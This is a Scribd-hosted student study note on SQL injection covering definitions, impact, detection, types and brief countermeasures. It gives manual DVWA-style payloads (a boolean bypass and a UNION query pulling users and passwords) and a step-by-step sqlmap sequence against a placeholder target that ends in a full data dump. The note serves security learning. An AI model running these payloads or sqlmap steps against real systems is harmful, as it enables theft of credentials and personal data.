[go: up one dir, main page]
Scribd
Upload
47 views2 pages

m15 SQL Injection

SQL injection (SQLi) is a web security vulnerability that allows attackers to manipulate database queries, potentially accessing or altering sensitive data. Successful SQLi attacks can lead to unauthorized access to information such as passwords and credit card details. Detection methods include analyzing input for anomalies and using tools like sqlmap for identifying vulnerabilities and extracting data.

Uploaded by

hihim31592
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
47 views2 pages

m15 SQL Injection

SQL injection (SQLi) is a web security vulnerability that allows attackers to manipulate database queries, potentially accessing or altering sensitive data. Successful SQLi attacks can lead to unauthorized access to information such as passwords and credit card details. Detection methods include analyzing input for anomalies and using tools like sqlmap for identifying vulnerabilities and extracting data.

Uploaded by

hihim31592
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

SQL Injection(Sqli)

## What is SQL injection (SQLi)?

SQL injection (SQLi) is a web security vulnerability that allows an attacker to


interfere with the queries that an application makes to its database. This can
allow an attacker to view data that they are not normally able to retrieve. This
might include data that belongs to other users, or any other data that the
application can access. In many cases, an attacker can modify or delete this data,
causing persistent changes to the application's content or behavior.

## What is the impact of a successful SQL injection attack?

A successful SQL injection attack can result in unauthorized access to sensitive


data, such as:

Passwords.
Credit card details.
Personal user information.

-------------------------------------------

## How to detect SQL injection vulnerabilities.


1. The single quote character ' and look for errors or other anomalies.
2. Payloads designed to trigger time delays when executed within a SQL query, and
look for differences in the time taken to respond.

## Types of sql injection


in-bound ( error )
blind ( boolean based )

## countermeasures
input validation
input senitization

-----------------------------------------------------------------------------------
----------------
## manual
https://www.golinuxcloud.com/dvwa-sql-injection/#Step_2_Basic_Injection

boolean:
' or '1'='1'#

union:
' union select user,password from users#

-----------------------------------------------------------------------------------
--

## using tools
## SQLI using sqlmap :
1. sqlmap --url https://target.com - For finding id parameter.
2. sqlmap --url https://target.com/cat.php?id=1 --dbs - For finding database name.
(--dbms)
3. sqlmap --url https://target.com/cat.php?id=1 -D database name --tables - For
finding vulnerable tables.
4. sqlmap --url https://target.com/cat.php?id=1 -D database name -T table name --
columns - For finding vulnerable columns.
5. sqlmap --url https://target.com/cat.php?id=1 -D database name -T table name -C
column name,column name --dump
All done now we will get all the data we have fetched.

You might also like